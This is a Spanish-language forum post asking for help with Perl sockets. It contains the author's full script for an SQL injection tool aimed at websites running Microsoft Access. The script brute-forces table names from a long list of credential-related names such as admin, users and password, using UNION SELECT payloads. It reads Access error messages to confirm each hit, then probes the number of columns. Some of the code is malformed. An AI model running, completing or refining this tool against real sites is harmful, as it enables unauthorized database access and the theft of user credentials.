Hola estoy teniendo un problema en perl. Estoy haciendo script y para practicar socket decidi hacer una tool que inyecte codigo SQL a un motor de ACCESS. Ahora la cuestion es que no se como hacer para que cuando realizo el SOCKET con una pagina "A" (la cual es la vulnerable a inyecciones), ese mismo socket me sirva para realizar todas las inyecciones que nesesite. Sin volver a crear el objeto nuevamente.
Este es mi script. Si se fijan en cada inyeccion creo un nuevo socket llamando a la funcion
socket,y le paso como parametro el GET de la pagina q deseo obtener (que vendria hacer la inyeccion q mando por URL)
Creo q esto esta mal.. alguien me podria ayudar..
Como seria crear una sola vez el Socket y luego usar Los GET que quisiera
#!/usr/bin/perl
use IO::Socket;
@nombretabla=('admin','tblUsers','usuarios','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','member','members','admin_table',
'miembro','miembros','membername','admins','administrator','accesos',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contraseña','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 'http(80)',
Proto
=> 'tcp') || die "[-] No se ha podido conectar a $host"; print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n"; print $socket "HOST:$host\r\n"; }
if (!@ARGV[1]) {
print "======================================================= \n"; print " Injection AIS V 1.0 beta by MagnoBalt \n\n"; print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n"; print " AIS:Acces Injection SQL \n"; print "======================================================= \n"; }
$host =@ARGV[0];
$path=@ARGV[1];
print "\n[-]Buscando Tablas \n"; $iny="-1+UNION+SELECT+0+FROM+";
#print "antes de la funcion valor $iny\n";
foreach $tabla(@nombretabla) {
#empuezo a guardar linea por linea el source en $response
$socket=&socket($iny);
while (<$socket>) {$response .= "$_ "}
if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[+]Tabla $tabla FOUND\n"; $tabla_aux=$tabla;
}
#print $response;
$response="";#limpio la variable
}#cierrre foreach
$inyc="";
#buscamos numeros de columnas
print "[-]Buscando columnas\n"; print "[-]Ingrese Maximo con cual intentar \n"; $col.=<STDIN>;
$columna=1;
while ($columna <= $col) {
$union.=','.$columna;
$iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
#print $response;
if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/)
{
print "[!] Fallo intento columna $columna\n"; }
else {
$columna++;
print "[+]La Web Posee $columna columnas\n "; $columna = $col;#fuerzo la salida del while.
}
$response="";#limpio la variable
$columna++;
}